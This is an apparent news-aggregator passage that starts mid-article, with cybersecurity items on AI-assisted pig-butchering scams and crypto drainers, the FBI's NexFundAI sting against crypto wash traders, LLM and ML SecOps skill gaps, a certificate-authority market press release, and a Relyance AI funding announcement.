“Obviously using real people has been working for them very well, but using the tech could be cheaper after they have the required computers” and connectivity, says Troy Gochenour, a volunteer with the Global Anti-Scam Organization (GASO), a US-based nonprofit that fights human-trafficking and cybercrime operations in Southeast Asia.

Gochenour’s research involves tracking trends on Chinese-language Telegram channels related to carrying out pig butchering scams. And he says that it is increasingly common to see people applying to be AI models for scam content.

In addition to AI services, attackers have increasingly leaned on other technical solutions as well. One tool that has been increasingly common in digital scamming is so-called “crypto drainers,” a type of malware that has particularly been deployed against victims in Southeast Asia. Drainers can be more or less technically sophisticated, but their common goal is to “drain” funds from a target’s cryptocurrency wallets and redirect the currency to wallets controlled by attackers. Rather than stealing the credentials to access the target wallet directly, drainers are typically designed to look like a legitimate service—either by impersonating an actual platform or creating a plausible brand. Once a victim has been tricked into connecting their wallet to the drainer, they are then manipulated into approving one or a few transactions that grant attackers unintended access to all the funds in the wallet.

Drainers can be used in many contexts and with many fronts. They can be a component of pig butchering investment scams, or promoted to potential victims through compromised social media accounts, phishing campaigns, and malvertizing. Researchers from the firm ScamSniffer, for example, published findings in December about sponsored social media and search engine ads linked to malicious websites that contained a cryptocurrency drainer. The campaign, which ran from March to December 2023 reportedly stole about $59 million from more than 63,000 victims around the world.

Far from the low-tech days of doing everything through social engineering by building a rapport with potential victims and crafting tricky emails and text messages, today’s scammers are taking a hybrid approach to make their operations as efficient and lucrative as possible, UN researchers say. And even if they aren’t developing sophisticated malware themselves in most cases, scammers are increasingly in the market to use these malicious tools, prompting malware authors to adapt or create hacking tools for scams like pig butchering.

Researchers say that scammers have been seen using infostealers and even remote access trojans that essentially create a backdoor in a victim’s system that can be utilized in other types of attacks. And scammers are also expanding their use of malicious smart contracts that appear to programmatically establish a certain agreed-upon transaction or set of transactions, but actually does much more. “Infostealer logs and underground data markets have also been critical to ongoing market expansion, with access to unprecedented amounts of sensitive data serving as a major catalyst,” Wojcik, from the UNODC, says.

The changing tactics are significant as global law enforcement scrambles to deter digital scamming. But they are just one piece of the larger picture, which is increasingly urgent and bleak for forced laborers and victims of these crimes.

“It is now increasingly clear that a potentially irreversible displacement and spillover has taken place in which organized crime are able to pick, choose, and move value and jurisdictions as needed, with the resulting situation rapidly outpacing the capacity of governments to contain it,” UN officials wrote in the report. “Failure to address this ecosystem will have consequences for Southeast Asia and other regions.”

Pig Butchering Scams Are Going High Tech

The U.S. Department of Justice (DoJ) has announced arrests and charges against several individuals and entities in connection with allegedly manipulating digital asset markets as part of a widespread fraud operation.
The law enforcement action – codenamed Operation Token Mirrors – is the result of the U.S. Federal Bureau of Investigation (FBI) taking the "unprecedented step" of creating its own

Cryptocurrency / Cybercrime

The U.S. Department of Justice (DoJ) has announced arrests and charges against several individuals and entities in connection with allegedly manipulating digital asset markets as part of a widespread fraud operation.

The law enforcement action – codenamed **Operation Token Mirrors** – is the result of the U.S. Federal Bureau of Investigation (FBI) taking the "unprecedented step" of creating its own cryptocurrency token and company called NexFundAI.

NexFundAI, as per information on the website, was marketed as redefining the "intersection between finance and artificial intelligence" and that its aim was to "create a cryptocurrency token that not only serves as a secure store of value but also acts as a catalyst for positive change in the world of AI."

"Three market makers — ZM Quant, CLS Global, and MyTrade — along with their employees are charged with allegedly wash trading and/or conspiring to wash trade on behalf of NexFundAI, a cryptocurrency company and token created at the direction of law enforcement as part of the government's investigation," the DoJ said.

"A fourth market maker, Gotbit, its CEO, and two of its directors are also charged for perpetrating a similar scheme."

A total of 18 people and entities have been ensnared in the investigation's net, out of which five defendants have either pleaded guilty or agreed to plead guilty. Three other defendants have been arrested in the U.S. state of Texas, the U.K., and Portugal.

More than $25 million in cryptocurrency has also been confiscated and multiple trading bots behind wash trading (aka round trip trading), which refers to the illegal practice of buying and selling the same financial instruments to create artificial market activity, for about 60 different cryptocurrencies have been disabled.

Court documents allege that the defendants behind the cryptocurrency companies executed bogus trades using their own tokens to give the impression that they are good investments in an attempt to attract new investors and purchasers, thereby synthetically inflating the tokens' trading prices.

The individuals then sold their tokens at the new prices, a fraudulent scheme known as pump-and-dump, in order to illegally profit from the financial crime.

The following individuals and cryptocurrency firms have been charged -

*   Aleksei Andriunin, Fedor Kedrov, Qawi Jalili, Gotbit Consulting LLC (Gotbit)
*   Riqui Liu, Baijun Ou, ZM Quant Investment LTD (ZM Quant)
*   Andrey Zhorzhes, CLS Global FZC, LLC (CLS)
*   Liu Zhou, MyTrade MM
*   Manpreet Kohli, Haroon Mohsini, Nam Tran, Max Hernandez, Russell Armand, Vy Pham, Saitama LLC (Saitama)
*   Robo Inu Finance (Robo Inu)
*   Michael Thompson, VZZN, and
*   Bradley Beatty, Lillian Finance LLC (Lillian Finance)

"Today's enforcement actions demonstrate, once more, that retail investors are being victimized by fraudulent activity by institutional actors in the markets for crypto assets," Sanjay Wadhwa, deputy director of the SEC's Division of Enforcement, said.

"With purported promoters and self-anointed market makers teaming up to target the investing public with false promises of profits in the crypto markets, investors should be mindful that the deck may be stacked against them."

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FBI Creates Fake Cryptocurrency to Expose Widespread Crypto Market Manipulation

Companies are putting "AI" in just about all of their products, which opens up new security holes. LLM SecOps and ML SecOps are becoming must-have skills.

Source: Designer491 via Alamy Stock Photo

In a sign of the growing importance of assessing the risks of artificial language to corporate assets, organizations are increasingly looking for job candidates with skills in machine learning and large language models to fill cybersecurity jobs. In ISACA's 2024 State of Cybersecurity report, just under a quarter of respondents (24%) named LLM SecOps and ML SecOps as the biggest skill gaps they see in cybersecurity. Soft skills — communication, flexibility, and leadership — continue to be the biggest category of skills that cybersecurity professionals are missing, according to 51% of respondents.

**Wanted: LLM, ML Skills**

Both LLM SecOps and ML SecOps are fairly new skill sets, but, like the technologies they secure, they now seem to be everywhere.

MLSecOps is the discipline of integrating security into the development and deployment of machine learning systems. It covers ML-specific processes like securing the data used to train a model and preventing bias through transparency, as well as applying standard security operations tasks such as secure coding, threat modeling, security audits, and incident response to ML systems.

LLM SecOps refers to securing the entire lifecycle of LLMs, from data preparation to incident response. LLM SecOps covers concerns as varied as ethics reviews in the design phase, data sanitization of training data, analyzing why the system made the decisions it did during training, blocking the generation of harmful content, and monitoring the model once it is deployed.

There is a growing list of resources for security professionals to build up their skills. For ML SecOps, Benjamin Kereopa-Yorke, a a senior information security specialist and AI security researcher at telecommunications provider Telstra maintains a GitHub repository of resources and trainings, with courses categorized by prior ML knowledge required and classified as vendor-agnostic or vendor-centric. Open Worldwide Application Security Project (OWASP) has a draft Machine Learning Security Top Ten list describing how ML attacks such as data poisoning or member inference work and how to counter them. OWASP also maintains the OWASP Top Ten for LLMs, which covers topics relevant to LLM SecOps such as prompt injection, sensitive information disclosure, and model theft.

Organizations are looking for specific skills to fill open cybersecurity positions. After soft skills, cloud computing was the second biggest skill gap (42%), followed by security controls implementation (35%), and software development (28%).

With so much of the organization's workload now residing in the cloud, it makes sense that organizations need cybersecurity professionals with cloud computing skills. Securing cloud assets require a different mindset and technical skillset than traditional networking, and cloud providers handle certain tasks differently, requiring specialized knowledge.

Security controls implementation refers to protecting endpoints, networks, and applications. The skills gap in software development was not coding related, but rather things such as testing and deployment. Again, this highlights the challenges organizations are having securing their software development pipelines and integrations.

AI Hype Drives Demand For ML SecOps Skills

PRESS RELEASE

New York, United States, Oct. 10, 2024 (GLOBE NEWSWIRE) -- The Certificate Authority (CA) market is the industry dedicated to the issuing, management, and renewal of digital certificates. These digital certificates are used to authenticate the identification of entities such as websites, organizations, or individuals, as well as to secure network interactions with encryption. CAs are trusted third-party organizations that verify entities' identities and provide certificates to establish secure connections, such as SSL/TLS certificates for websites. This market is essential to the overall cybersecurity ecosystem as it maintains the security, integrity, and trustworthiness of digital communications and transactions on the Internet.

Download Free Sample Report PDF @ https://straitsresearch.com/report/certificate-authority-market/request-sample 

Market Dynamics

Focus on Cybersecurity Integration drives the global certificate authority market.

Certificate Authorities (CAs) are expanding their services to include broader cybersecurity solutions such as threat detection and identity management, resulting in more comprehensive security offerings. They collaborate with cybersecurity firms to integrate certificate management with other important security services, giving organizations an integrated and effective protection approach.

*   For instance, on 10 October 2023, DigiCert expanded its capabilities by integrating its certificate management services with Acronis' cybersecurity and data protection solutions.
    

The emergence of Blockchain Technology creates opportunities for the global certificate authority market.

Blockchain technology's decentralized and tamper-proof mechanism improves the security and transparency of digital certificate issuance and maintenance. This significant development has the potential to eliminate fraud, increase trust, and alter the certification authority market by developing more secure and efficient certificate management systems.

*   For instance, in March 2024, Tezos introduced a blockchain-based certificate management system known as Tezos DigiSign.
    

Regional Analysis

North America is the dominating region in the global certificate authority market shareholder and is anticipated to exhibit a CAGR of XX% during the forecast period. North America dominates the certificate authority market due to its modern IT infrastructure, high cybersecurity awareness, stringent regulatory environment, and the presence of major CA providers such as DigiCert and GlobalSign, which offer a wide range of digital certificate solutions. This region has strong adoption rates of digital certificates, particularly in finance, healthcare, and government.

The United States and Canada are the primary contributors to the North American certificate authority market, benefitting from their strong economies and a significant focus on cybersecurity in sectors such as banking, healthcare, e-commerce, and government services.

The Asia-Pacific (APAC) region is the fastest-growing market for certificate authorities, driven by rapid digitalization, cloud adoption, government initiatives, and significant investments in cybersecurity. Governments in China, India, and Japan are implementing policies and regulations to improve secure communication and protect sensitive data, such as China's security law, National Cyber Security Policy, and Japan's Act on the Protection of Personal Information, which is driving demand for certificate authority (CA) solutions.

These countries are major players in the APAC region, with both local and global CA providers such as CNNIC, e-Mudhra, JPRS, and DigiCert catering to a wide range of demands. The region's diverse legal frameworks and cybersecurity practices have an impact on digital certificate adoption.

Europe's certificate authority market is influenced by a wide range of regulatory standards, and a strong focus on data protection, particularly under GDPR. The market includes a mix of local and international CA providers like Entrust and Sectigo, and increasing adoption in industries including banking, telecommunications, and e-commerce. The region is distinguished for its diverse regulatory environment.

The certificate authority market in Latin America is rising and growing, due to increased digital transformation initiatives in a variety of sectors. Rising cybersecurity concerns and regulatory demands are driving the region's adoption of digital certificates.

The Middle East and Africa region is experiencing an increase in the adoption of digital certificates as businesses and governments seek to improve their cybersecurity posture. Rising digital transactions, legal restrictions, and increased data protection awareness drive the market.

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Competitive Players

5.  Entrust Datacard Corporation
    

10.  WISeKey International Holding AG
    

Recent Developments

*   On 12 April 2023, Entrust Launched Zero Trust Ready Solutions for Passwordless Authentication, Next-Generation HSM, and Multi-Cloud Key Compliance
    
*   On 9 May 2023, DigiCert announced a partnership with Oracle to make DigiCert ONE, the platform for digital trust, available on Oracle Cloud Infrastructure (OCI).
    
*   On 7 March 2023, GlobalSign announced a technology partnership with essendi it to integrate Essendi's xc certificate lifecycle management (CLM) software with GlobalSign’s certificate platform, Atlas.
    
*   on 10 October 2023, DigiCert expanded its capabilities by integrating its certificate management services with Acronis' cybersecurity and data protection solutions.
    
*   In January 2023, DigiCert launched the DigiCert Trust Lifecycle Manager, a comprehensive digital trust solution designed to unify certificate management and public key infrastructure (PKI) services.
    

Segmentation

2.  By Certificate Validation Type 
    

Get Detailed Market Segmentation @ https://straitsresearch.com/report/certificate-authority-market/segmentation 

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Certificate Authority Market Size to Surpass $485M by 2033

PRESS RELEASE

SAN FRANCISCO, Oct. 10, 2024 /PRNewswire/ -- Relyance AI, the leading AI-powered data governance platform that provides complete visibility and control over enterprise-wide data, today announced a $32.1 million Series B funding round to scale operations and meet the needs of the exploding use of artificial intelligence in the enterprise. Thomvest Ventures led the round. M12, Microsoft Ventures Fund, also participated in addition to Cheyenne Ventures and existing investors Menlo Ventures and Unusual Ventures.

As demand for AI surges in the enterprise, global regulators are mandating data protection safeguards that companies find impossible to implement. At the same time, legal, security, and engineering teams are grappling with endless questions about how customer data is being used to train AI models. The impact? Executives are stifled by their inability to realize AI's innovation potential, and according to KPMG, more than two-thirds (76%) of enterprises are worried about data privacy and security when they partner with third parties. The result could be catastrophic: more than a quarter of the Fortune 500 identified AI regulation as a risk in annual reports to the SEC, and many continue to struggle with established data privacy regulations such as GDPR, which led to a record €2.1 billion in fines in 2023.

This has become a business-critical problem for all enterprises that was impossible to solve before Relyance AI's fully integrated governance platform. Until now, privacy and security have been seen as separate challenges, with one woefully unaware of the other. Privacy teams didn't know if their commitments to regulations and customers were being met, and security teams didn't know what data should be in AI models. Relyance AI marries the two into one joint solution, which is the only way to enable innovation while ensuring compliance in a rapidly evolving regulatory landscape.

"The era of accepting subpar privacy, DSPM, and AI governance solutions is over. Relyance AI sets a new standard where data protection and innovation are not mutually exclusive," said Abhi Sharma, CEO and co-founder of Relyance AI. "It's impossible to keep up with the current state of regulations, especially when GDPR, HIPAA, the EU's AI Act, and a mosaic of local U.S. privacy laws are all different and sometimes at odds. We're making it possible to demystify this and embolden the C-suite, engineers, and legal teams to urgently green-light AI in the enterprise with an integrated governance approach." 

Relyance AI safeguards businesses from fines and reputation damage while boosting customer trust to accelerate business growth. The platform provides complete visibility into enterprise-wide data processing and compares it against contractual commitments, global privacy regulations, and compliance frameworks. The company has scaled significantly to meet recent demand for these capabilities. In the first half alone, Relyance AI increased its enterprise customer base by 30%, and the company is projected to double its annual recurring revenue in 2024. Its client list now includes Coinbase, Fivetran, Verkada, Snowflake, Logitech, Plaid, and Notion.

"We're thrilled to lead the investment in Relyance AI, a unique, automated data governance platform that addresses the urgent need for real-time data visibility and compliance in a world of explosive data growth and emerging regulations," said Umesh Padval, Managing Director, Thomvest Ventures. "Relyance AI empowers Chief Privacy, Security, and Information Officers to manage data privacy and compliance, avoiding costly penalties while driving safe and responsible AI adoption. We are excited to partner with CEO Abhi Sharmaand his team, who have built a solution that transforms compliance into a competitive advantage, enabling businesses to scale AI with trust and transparency."

"The future of AI governance isn't about compliance alone – it's about building trust, transparency, and accountability into every layer of your technology," said Todd Graham, Managing Partner at M12. "Relyance AI is the catalyst for that transformation, paving the way for AI implementation that is both compliant and incredibly fast."

"With Relyance AI, we established enhanced visibility of data processing activities, seeing an impressive increase of 1,660% within three weeks of deployment," said Deborah Usry, Senior Privacy and Product Counsel at NextRoll. "What used to be a time-consuming manual process is now an automated task that produces a robust record of our processing activities."

The funding will further develop Relyance AI's platform and scale its go-to-market efforts in response to significant recent momentum. Learn more here.

About Relyance AI  
Relyance AI is the new standard for organizations trust and data governance infrastructure. Relyance AI is the only platform providing real-time visibility into how and where data is being used compared to customer agreements, global privacy regulations, and compliance frameworks. Companies of all industries and sizes – including Coinbase, Snowflake, Logitech, Plaid, Notion, and more – trust Relyance AI to safeguard businesses from fines and reputational damage and to deliver the most complete customer trust experiences.

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